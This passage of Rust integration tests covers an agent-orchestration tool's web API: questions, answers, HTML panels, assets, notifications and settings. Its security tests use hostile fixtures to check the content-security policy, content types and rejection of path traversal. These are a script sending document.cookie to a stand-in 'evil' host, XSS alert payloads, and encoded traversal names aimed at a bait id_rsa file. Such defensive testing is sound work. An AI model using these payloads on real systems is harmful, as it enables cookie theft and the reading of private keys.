8292 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8293 Box::pin(async move {
8294 while !stop.stopped() {
8295 tokio::time::sleep(Duration::from_millis(2)).await;
8296 }
8297 let addr = PARK_KNOCK
8298 .lock()
8299 .expect("park knock")
8300 .expect("the test set an address");
8301 let heard = request(addr, "GET", "/api/health", None).await.status;
8302 *PARK_HEARD.lock().expect("park heard") = Some(heard);
8303 Ok(())
8304 })
8305 }
8306
8307 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8316 for _ in 0..SETTLE_STEPS {
8317 let view = fx.get("/api/loop").await.json();
8318 if want(&view) {
8319 return view;
8320 }
8321 tokio::time::sleep(Duration::from_millis(10)).await;
8322 }
8323 panic!(
8324 "the loop never settled: {}",
8325 fx.get("/api/loop").await.json()
8326 );
8327 }
8328
8329 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8331 let store = fx.questions();
8332 let mut q = Question::new(
8333 "20260902-000000-beef".to_owned(),
8334 "implement".to_owned(),
8335 "impl-A".to_owned(),
8336 summary.to_owned(),
8337 "because it matters".to_owned(),
8338 choices.iter().map(|c| (*c).to_owned()).collect(),
8339 );
8340 store.put(&mut q).expect("put question");
8341 q.id
8342 }
8343
8344 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8350 let store = fx.questions();
8351 let mut q = Question::new(
8352 "20260902-000000-beef".to_owned(),
8353 "land".to_owned(),
8354 "fix".to_owned(),
8355 "Merge this?".to_owned(),
8356 "the diff is in the panel".to_owned(),
8357 vec!["merge".to_owned(), "hold".to_owned()],
8358 );
8359 let staging = fx.home.path().join("staging");
8362 std::fs::create_dir_all(&staging).expect("staging dir");
8363 let sources: Vec<PathBuf> = assets
8364 .iter()
8365 .map(|(name, bytes)| {
8366 let path = staging.join(name);
8367 std::fs::write(&path, bytes).expect("write staged asset");
8368 path
8369 })
8370 .collect();
8371 store
8372 .put_panel(&mut q, html, &sources)
8373 .expect("write the panel");
8374 store.put(&mut q).expect("put question");
8375 q.id
8376 }
8377
8378 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8387 seed_talk_at(&fx.talks(), id, status)
8388 }
8389
8390 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8391 std::fs::create_dir_all(store.root()).expect("talks dir");
8392 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8393 .expect("serialize a seat");
8394 let body = serde_json::json!({
8395 "schema": 1,
8396 "id": id,
8397 "repo": "/repo/magi",
8398 "agent": "mock",
8399 "status": status,
8400 "turns": [],
8401 "created_at": Timestamp::now().to_string(),
8402 "updated_at": Timestamp::now().to_string(),
8403 "seat": seat,
8404 });
8405 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8406 store.get(id).expect("the seeded talk has to be readable");
8407 id.to_owned()
8408 }
8409
8410 #[tokio::test]
8411 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8412 let fx = Fixture::start().await;
8413 let id = panel(
8414 &fx,
8415 "<h1>Merge?</h1><img src=\"diff.svg\">",
8416 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8417 );
8418
8419 for path in [
8420 format!("/api/questions/{id}/panel"),
8421 format!("/api/questions/{id}/asset/diff.svg"),
8422 ] {
8423 let res = fx.get(&path).await;
8424 assert_eq!(res.status, 200, "{path}: {}", res.body);
8425 assert_eq!(
8431 res.header("content-security-policy"),
8432 Some(
8433 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8434 font-src data:; base-uri 'none'; form-action 'none'; \
8435 frame-ancestors 'self'"
8436 ),
8437 "{path} is the only thing between a hostile panel and the tailnet"
8438 );
8439 assert_eq!(
8440 res.header("x-content-type-options"),
8441 Some("nosniff"),
8442 "{path}: a browser must not re-decide the type we sent"
8443 );
8444 assert_eq!(
8445 res.header("referrer-policy"),
8446 Some("no-referrer"),
8447 "{path}: a panel must not leak the question id off the machine"
8448 );
8449
8450 let pre = fx.head(&path).await;
8455 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8456 assert_eq!(
8457 pre.header("content-security-policy"),
8458 res.header("content-security-policy"),
8459 "{path}: the preflight carries the same policy"
8460 );
8461 assert_eq!(
8462 pre.header("content-type"),
8463 res.header("content-type"),
8464 "{path}: the preflight carries the same type"
8465 );
8466 }
8467 }
8468
8469 #[tokio::test]
8470 async fn a_panel_reaches_the_browser_byte_for_byte() {
8471 let fx = Fixture::start().await;
8472 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8477 let id = panel(&fx, html, &[]);
8478
8479 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8480
8481 assert_eq!(res.status, 200);
8482 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8483 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8484 assert_eq!(
8485 res.header("content-disposition"),
8486 None,
8487 "the panel itself is rendered in the frame, not downloaded"
8488 );
8489 }
8490
8491 #[tokio::test]
8492 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8493 let fx = Fixture::start().await;
8494 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8495 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8496 let id = panel(
8497 &fx,
8498 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8499 &[("diff.svg", svg), ("shot.png", png)],
8500 );
8501
8502 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8503 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8504
8505 assert_eq!(as_svg.status, 200);
8506 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8507 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8512
8513 assert_eq!(as_png.status, 200);
8514 assert_eq!(as_png.header("content-type"), Some("image/png"));
8515 assert_eq!(
8516 as_png.header("content-disposition"),
8517 None,
8518 "a raster image has no execution surface, so tapping it still shows it"
8519 );
8520 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8521 }
8522
8523 #[tokio::test]
8524 async fn an_html_asset_is_never_served_as_html() {
8525 let fx = Fixture::start().await;
8526 let id = panel(
8527 &fx,
8528 "<p>see the notes</p>",
8529 &[
8530 (
8531 "notes.html",
8532 b"<script>fetch('http://evil/'+document.cookie)</script>",
8533 ),
8534 ("hook.js", b"fetch('http://evil/')"),
8535 ("data.json", b"{}"),
8536 ("HEADLINE.TXT", b"plain"),
8537 ],
8538 );
8539
8540 for name in ["notes.html", "hook.js", "data.json"] {
8541 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8542 assert_eq!(res.status, 200, "{name}: {}", res.body);
8543 assert_eq!(
8548 res.header("content-type"),
8549 Some("application/octet-stream"),
8550 "{name} must not be a type the browser will execute or render"
8551 );
8552 }
8553 let txt = fx
8556 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8557 .await;
8558 assert_eq!(
8559 txt.header("content-type"),
8560 Some("text/plain; charset=utf-8")
8561 );
8562 }
8563
8564 #[tokio::test]
8565 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8566 let fx = Fixture::start().await;
8567 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8568 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8572
8573 for encoded in [
8580 "%2e%2e%2fid_rsa",
8581 "..%2fid_rsa",
8582 "..%5cid_rsa",
8583 "%2e%2e%5cid_rsa",
8584 "diff%00.svg",
8585 "..",
8586 ".hidden",
8587 "%2e%2e%2f%2e%2e%2fid_rsa",
8588 ] {
8589 let res = fx
8590 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8591 .await;
8592 assert_eq!(
8593 res.status, 400,
8594 "`{encoded}` has to be refused by name, not looked up: {}",
8595 res.body
8596 );
8597 assert!(res.json()["error"].is_string(), "{}", res.body);
8598 }
8599
8600 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8606 let res = fx
8607 .get(&format!("/api/questions/{id}/asset/{literal}"))
8608 .await;
8609 assert_eq!(
8610 res.status, 404,
8611 "`{literal}` must not match the asset route at all: {}",
8612 res.body
8613 );
8614 }
8615 }
8616
8617 #[tokio::test]
8618 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8619 let fx = Fixture::start().await;
8620 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8621 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8622
8623 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8627 assert_eq!(none.status, 404, "{}", none.body);
8628 assert!(none.json()["error"].is_string(), "{}", none.body);
8629 assert_eq!(
8630 fx.head(&format!("/api/questions/{plain}/panel"))
8631 .await
8632 .status,
8633 404,
8634 "the preflight is the only way the client can learn this"
8635 );
8636
8637 let missing = fx
8639 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8640 .await;
8641 assert_eq!(missing.status, 404, "{}", missing.body);
8642 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8643
8644 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8646 assert_eq!(
8647 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8648 404
8649 );
8650 }
8651
8652 #[tokio::test]
8653 async fn a_run_with_an_open_question_reads_as_waiting() {
8654 let fx = Fixture::start().await;
8655 let run = "20260902-000000-beef".to_owned();
8656 write_run(&fx.runs(), &run, RunStatus::Implementing);
8657
8658 let before = fx.get("/api/runs").await.json();
8659 assert_eq!(before[0]["waiting"], false, "{before}");
8660
8661 let store = fx.questions();
8662 let mut q = Question::new(
8663 run.clone(),
8664 "implement".to_owned(),
8665 "impl-A".to_owned(),
8666 "Which backend?".to_owned(),
8667 String::new(),
8668 vec!["SQLite".to_owned()],
8669 );
8670 store.put(&mut q).expect("put");
8671
8672 let during = fx.get("/api/runs").await.json();
8673 assert_eq!(during[0]["waiting"], true, "{during}");
8674
8675 q.answer(Answer::Choice("SQLite".to_owned()))
8678 .expect("answer");
8679 store.put(&mut q).expect("put");
8680 let after = fx.get("/api/runs").await.json();
8681 assert_eq!(after[0]["waiting"], false, "{after}");
8682 }
8683
8684 #[tokio::test]
8685 async fn an_open_question_is_listed_and_counted_by_health() {
8686 let fx = Fixture::start().await;
8687 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8688
8689 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8690 let listed = fx.get("/api/questions").await.json();
8691 assert_eq!(listed.as_array().expect("array").len(), 1);
8692 assert_eq!(listed[0]["id"], id);
8693 assert_eq!(listed[0]["status"], "open");
8694 assert_eq!(listed[0]["choices"][1], "Redis");
8695 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8698 }
8699
8700 #[tokio::test]
8701 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8702 let fx = Fixture::start().await;
8703 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8704 let path = format!("/api/questions/{id}/answer");
8705
8706 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8707 assert_eq!(res.status, 200, "{}", res.body);
8708 let body = res.json();
8709 assert_eq!(body["status"], "answered");
8710 assert_eq!(body["answer"]["choice"], "Redis");
8711
8712 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8716 assert_eq!(again.status, 409, "{}", again.body);
8717 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8718 }
8719
8720 #[tokio::test]
8721 async fn saying_something_appends_a_turn_without_answering() {
8722 let fx = Fixture::start().await;
8723 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8724 let path = format!("/api/questions/{id}/say");
8725
8726 let res = fx
8727 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8728 .await;
8729 assert_eq!(res.status, 200, "{}", res.body);
8730 let body = res.json();
8731 assert_eq!(body["status"], "open", "talking back is not a decision");
8732 assert_eq!(body["answer"], Value::Null);
8733 assert_eq!(body["thread"][0]["who"], "operator");
8734 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8735 assert_eq!(body["waiting_on_agent"], true);
8736 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8738 }
8739
8740 #[tokio::test]
8741 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8742 let fx = Fixture::start().await;
8743 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8744
8745 let list = fx.get("/api/questions").await.json();
8746 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8747
8748 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8749 assert_eq!(res.status, 409, "{}", res.body);
8750 let q = fx.questions().get(&id).unwrap();
8751 assert!(q.status.open());
8752 assert!(q.consult.is_none());
8753 }
8754
8755 #[tokio::test]
8756 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8757 let fx = Fixture::start().await;
8758 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8759 let cfg = Config {
8760 agents: vec![crate::config::AgentSpec {
8761 id: "mock".to_owned(),
8762 kind: crate::config::AgentKind::Command,
8763 model: None,
8764 command: vec!["true".to_owned()],
8765 extra_args: Vec::new(),
8766 env: Default::default(),
8767 prompt_delivery: None,
8768 }],
8769 ..Config::default()
8770 };
8771 let talk = crate::talk::begin(
8772 &fx.talks(),
8773 &cfg,
8774 fx.home.path().to_path_buf(),
8775 Some("mock"),
8776 )
8777 .unwrap();
8778 let mut task = Task::new(
8779 "t".to_owned(),
8780 "Do it".to_owned(),
8781 PathBuf::from("/repo/magi"),
8782 Source::Agent {
8783 run: talk.id.clone(),
8784 node: crate::queue::CHAT_NODE.to_owned(),
8785 },
8786 );
8787 task.start("20260902-000000-beef".to_owned());
8788 fx.queue().put(&mut task).unwrap();
8789
8790 let list = fx.get("/api/questions").await.json();
8791 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8792 assert_eq!(
8793 list[0]["choices"],
8794 serde_json::json!(["SQLite", "Redis"]),
8795 "the hand-over is never a choice"
8796 );
8797 fx.questions()
8798 .update(&id, |q| {
8799 q.node = crate::land::APPROVAL_NODE.into();
8800 q.choices = vec!["merge".into(), "hold".into()];
8801 Ok(())
8802 })
8803 .unwrap();
8804 let list = fx.get("/api/questions").await.json();
8805 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8806 let _ = id;
8807 }
8808
8809 #[tokio::test]
8810 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8811 let fx = Fixture::start().await;
8812 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8813 fx.questions()
8814 .update(&id, |q| {
8815 q.node = crate::land::APPROVAL_NODE.into();
8816 q.choices = vec!["merge".into(), "hold".into()];
8817 Ok(())
8818 })
8819 .unwrap();
8820 let cfg = Config {
8821 agents: vec![crate::config::AgentSpec {
8822 id: "mock".to_owned(),
8823 kind: crate::config::AgentKind::Command,
8824 model: None,
8825 command: vec!["true".to_owned()],
8826 extra_args: Vec::new(),
8827 env: Default::default(),
8828 prompt_delivery: None,
8829 }],
8830 ..Config::default()
8831 };
8832 let repo = fx.home.path().join("chat-repo");
8834 std::fs::create_dir_all(&repo).unwrap();
8835 let toml = repo.join("magi.toml");
8836 std::fs::write(&toml, "this is = = not toml").unwrap();
8837 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8838 let mut task = Task::new(
8839 "t".to_owned(),
8840 "Do it".to_owned(),
8841 PathBuf::from("/repo/magi"),
8842 Source::Agent {
8843 run: talk.id.clone(),
8844 node: crate::queue::CHAT_NODE.to_owned(),
8845 },
8846 );
8847 task.start("20260902-000000-beef".to_owned());
8848 fx.queue().put(&mut task).unwrap();
8849
8850 let path = format!("/api/questions/{id}/consult");
8851 let res = fx.post(&path, None).await;
8852 assert!(res.status >= 400, "{}", res.body);
8853 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8854 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8855
8856 std::fs::write(&toml, "").unwrap();
8857 let res = fx.post(&path, None).await;
8858 assert_eq!(res.status, 202, "{}", res.body);
8859 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8860 let q = fx.questions().get(&id).unwrap();
8861 assert!(q.status.open());
8862 assert!(q.answer.is_none());
8863 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8864 }
8865
8866 #[tokio::test]
8867 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8868 let fx = Fixture::start().await;
8869 let store = fx.questions();
8870 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8871 assert_eq!(
8872 fx.get("/api/health").await.json()["questions_needs_owner"],
8873 1
8874 );
8875
8876 let res = fx
8882 .post(
8883 &format!("/api/questions/{id}/say"),
8884 Some(r#"{"body":"why not Postgres?"}"#),
8885 )
8886 .await;
8887 assert_eq!(res.status, 200, "{}", res.body);
8888 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8889 assert_eq!(
8890 fx.get("/api/health").await.json()["questions_needs_owner"],
8891 0,
8892 "waiting on the agent is not waiting on the owner"
8893 );
8894
8895 let mut q = store.get(&id).expect("get");
8899 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8900 .expect("reply");
8901 store.put(&mut q).expect("put");
8902 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8903 assert_eq!(
8904 fx.get("/api/health").await.json()["questions_needs_owner"],
8905 1,
8906 "the agent's reply is what should light the banner back up"
8907 );
8908 }
8909
8910 #[tokio::test]
8911 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8912 let fx = Fixture::start().await;
8913 let store = fx.questions();
8914
8915 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8916 let res = fx
8917 .post(
8918 &format!("/api/questions/{empty_id}/say"),
8919 Some(r#"{"body":" "}"#),
8920 )
8921 .await;
8922 assert_eq!(res.status, 400, "{}", res.body);
8923
8924 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8925 let mut answered = store.get(&answered_id).expect("get");
8926 answered
8927 .answer(Answer::Choice("SQLite".to_owned()))
8928 .expect("answer");
8929 store.put(&mut answered).expect("put");
8930 let res = fx
8931 .post(
8932 &format!("/api/questions/{answered_id}/say"),
8933 Some(r#"{"body":"still there?"}"#),
8934 )
8935 .await;
8936 assert_eq!(res.status, 409, "{}", res.body);
8937
8938 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8939 let mut abandoned = store.get(&abandoned_id).expect("get");
8940 abandoned.abandon("timed out");
8941 store.put(&mut abandoned).expect("put");
8942 let res = fx
8943 .post(
8944 &format!("/api/questions/{abandoned_id}/say"),
8945 Some(r#"{"body":"still there?"}"#),
8946 )
8947 .await;
8948 assert_eq!(res.status, 409, "{}", res.body);
8949 }
8950
8951 #[tokio::test]
8952 async fn an_answer_the_question_does_not_offer_is_refused() {
8953 let fx = Fixture::start().await;
8954 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8955 let path = format!("/api/questions/{id}/answer");
8956
8957 for body in [
8958 r#"{"choice":"Postgres"}"#,
8959 r#"{"text":"whatever you think"}"#,
8960 r#"{"choice":"Redis","text":"both"}"#,
8961 r#"{}"#,
8962 ] {
8963 let res = fx.post(&path, Some(body)).await;
8964 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8965 assert!(res.json()["error"].is_string(), "{}", res.body);
8966 }
8967 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8969 }
8970
8971 #[tokio::test]
8972 async fn a_free_text_question_takes_text_and_not_a_choice() {
8973 let fx = Fixture::start().await;
8974 let id = ask(&fx, "What should the flag be called?", &[]);
8975 let path = format!("/api/questions/{id}/answer");
8976
8977 assert_eq!(
8978 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8979 400
8980 );
8981 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8982 assert_eq!(res.status, 200, "{}", res.body);
8983 assert_eq!(res.json()["answer"]["text"], "--json");
8984 }
8985
8986 #[tokio::test]
8987 async fn an_unknown_question_is_a_json_404() {
8988 let fx = Fixture::start().await;
8989 let res = fx
8990 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8991 .await;
8992 assert_eq!(res.status, 404, "{}", res.body);
8993 assert!(res.json()["error"].is_string());
8994 }
8995
8996 #[tokio::test]
8997 async fn notifications_list_read_dismiss_and_health_agree() {
8998 let fx = Fixture::start().await;
8999 let store = Notices::at(fx.home.path().join("notifications"));
9000 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
9001 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
9002
9003 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
9004 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
9005
9006 let health = fx.get("/api/health").await.json();
9007 assert_eq!(health["notifications_unread"], 2);
9008 assert_ne!(
9009 health["notifications_rev"], rev0,
9010 "the badge must move live"
9011 );
9012
9013 let listed = fx.get("/api/notifications").await.json();
9014 assert_eq!(listed["unread"], 2);
9015 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9016 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9017
9018 let read = fx
9019 .post(&format!("/api/notifications/{}/read", a.id), None)
9020 .await;
9021 assert_eq!(read.status, 200, "{}", read.body);
9022 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9023
9024 let gone = fx
9025 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9026 .await;
9027 assert_eq!(gone.status, 200, "{}", gone.body);
9028 let listed = fx.get("/api/notifications").await.json();
9029 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9030 assert_eq!(listed["unread"], 0);
9031
9032 store.raise(Notice::info("x", "again")).unwrap();
9033 let all = fx.post("/api/notifications/read-all", None).await;
9034 assert_eq!(all.status, 200, "{}", all.body);
9035 assert_eq!(all.json()["marked"], 1);
9036 assert_eq!(
9037 fx.get("/api/health").await.json()["notifications_unread"],
9038 0
9039 );
9040
9041 let missing = fx.post("/api/notifications/nope/read", None).await;
9042 assert_eq!(missing.status, 404, "{}", missing.body);
9043 assert!(missing.json()["error"].is_string());
9044 }
9045
9046 #[tokio::test]
9053 async fn a_task_cannot_be_filed_over_the_phone_directly() {
9054 let f = Fixture::start().await;
9055
9056 let res = f
9057 .post(
9058 "/api/queue",
9059 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9060 )
9061 .await;
9062
9063 assert_eq!(
9064 res.status, 405,
9065 "POST /api/queue must not be a route: {}",
9066 res.body
9067 );
9068 assert!(
9069 f.queue().list().is_empty(),
9070 "a task filed by a route that does not exist must not reach the disk"
9071 );
9072 assert_eq!(f.get("/api/queue").await.status, 200);
9075 }
9076
9077 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9079 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9080 .expect("checkout dir");
9081 }
9082
9083 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9085
9086 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9087 let tmp = TempDir::new().expect("tempdir");
9088 let repo = tmp.path().join("repo");
9089 std::fs::create_dir_all(&repo).expect("repo dir");
9090 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9091 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9092 if let Some(text) = machine_toml {
9093 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9094 std::fs::write(&machine, text).expect("machine toml");
9095 }
9096 (tmp, repo, machine)
9097 }
9098
9099 #[tokio::test]
9100 async fn settings_get_reports_sources_and_the_advisors_fallback() {
9101 let (_tmp, repo, machine) =
9102 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
9103 let f = Fixture::with_repo_and_machine(repo, machine).await;
9104 let res = f.get("/api/settings").await;
9105 assert_eq!(res.status, 200, "{}", res.body);
9106 let v = res.json();
9107 assert!(v["error"].is_null(), "{v}");
9108 let role = |k: &str| {
9109 v["roles"]
9110 .as_array()
9111 .and_then(|r| r.iter().find(|x| x["key"] == k))
9112 .cloned()
9113 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9114 };
9115 assert_eq!(role("judges")["source"], "machine");
9116 assert_eq!(role("judges")["editable"], true);
9117 assert_eq!(role("implementers")["source"], "default");
9118 let adv = role("advisors");
9119 assert_eq!(adv["fallback"], "judges");
9120 assert!(
9121 adv["seats"]
9122 .as_array()
9123 .is_some_and(|s| s.iter().all(|x| x == "b")),
9124 "{adv}"
9125 );
9126 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
9127 assert_eq!(v["agents"][0]["source"], "repo");
9128 }
9129
9130 #[tokio::test]
9131 async fn settings_get_reports_a_config_that_does_not_parse() {
9132 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
9133 let f = Fixture::with_repo_and_machine(repo, machine).await;
9134 let res = f.get("/api/settings").await;
9135 assert_eq!(res.status, 200, "{}", res.body);
9136 let v = res.json();
9137 assert!(v["error"]["message"].is_string(), "{v}");
9138 assert!(
9139 v["error"]["path"]
9140 .as_str()
9141 .is_some_and(|p| p.ends_with("magi.toml")),
9142 "{v}"
9143 );
9144 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
9145 }
9146
9147 #[tokio::test]
9148 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
9149 let (_tmp, repo, machine) = settings_dirs(
9150 SETTINGS_AGENTS,
9151 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
9152 );
9153 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
9154 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9155 let rev = f.get("/api/settings").await.json()["revision"]
9156 .as_str()
9157 .expect("revision")
9158 .to_owned();
9159 let body = serde_json::json!({
9160 "revision": rev,
9161 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
9162 })
9163 .to_string();
9164 let res = f.put("/api/settings/roles", &body).await;
9165 assert_eq!(res.status, 200, "{}", res.body);
9166 let text = std::fs::read_to_string(&machine).expect("machine");
9167 assert_eq!(
9168 text,
9169 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
9170 );
9171 assert_eq!(
9172 std::fs::read(repo.join("magi.toml")).expect("read"),
9173 repo_before
9174 );
9175 let again = f.get("/api/settings").await.json();
9176 let judges = again["roles"]
9177 .as_array()
9178 .expect("roles")
9179 .iter()
9180 .find(|r| r["key"] == "judges")
9181 .expect("judges")
9182 .clone();
9183 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
9184 let stale = f.put("/api/settings/roles", &body).await;
9186 assert_eq!(stale.status, 409, "{}", stale.body);
9187 }
9188
9189 #[tokio::test]
9190 async fn settings_counts_are_reported_and_saved() {
9191 let (_tmp, repo, machine) = settings_dirs(
9192 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9193 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9194 );
9195 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9196 let v = f.get("/api/settings").await.json();
9197 let count = |v: &serde_json::Value, k: &str| {
9198 v["roles"]
9199 .as_array()
9200 .and_then(|r| r.iter().find(|x| x["key"] == k))
9201 .map(|x| x["count"].clone())
9202 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9203 };
9204 let imp = count(&v, "implementers");
9205 assert_eq!(imp["value"], 2);
9206 assert_eq!(imp["source"], "machine");
9207 assert_eq!(imp["file_key"], "candidates");
9208 assert_eq!(imp["roster_len"], 2);
9209 assert_eq!(imp["backups"], 0);
9210 assert_eq!(count(&v, "judges")["source"], "default");
9211 assert_eq!(count(&v, "advisors")["min"], 0);
9212 assert_eq!(count(&v, "reviewers")["editable"], false);
9213 assert!(
9214 count(&v, "reviewers")["locked_reason"]
9215 .as_str()
9216 .is_some_and(|m| m.contains("graph.reviewers"))
9217 );
9218 assert!(count(&v, "fixer").is_null());
9219 let rev = v["revision"].as_str().expect("revision").to_owned();
9220 let body = serde_json::json!({
9221 "revision": rev,
9222 "roles": { "judges": ["b"] },
9223 "counts": { "implementers": 1, "advisors": 0 }
9224 })
9225 .to_string();
9226 let res = f.put("/api/settings/roles", &body).await;
9227 assert_eq!(res.status, 200, "{}", res.body);
9228 let text = std::fs::read_to_string(&machine).expect("machine");
9229 assert_eq!(
9230 text,
9231 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9232 );
9233 let after = f.get("/api/settings").await.json();
9234 assert_eq!(count(&after, "implementers")["value"], 1);
9235 assert_eq!(count(&after, "implementers")["backups"], 1);
9236 assert_eq!(count(&after, "advisors")["value"], 0);
9237 let before = std::fs::read_to_string(&machine).expect("machine");
9238 let rev = after["revision"].as_str().expect("revision").to_owned();
9239 for counts in [
9240 serde_json::json!({ "judges": 0 }),
9241 serde_json::json!({ "judges": "x" }),
9242 serde_json::json!({ "judges": 2.5 }),
9243 serde_json::json!({ "judges": -1 }),
9244 serde_json::json!({ "reviewers": 3 }),
9245 serde_json::json!({ "bogus": 3 }),
9246 ] {
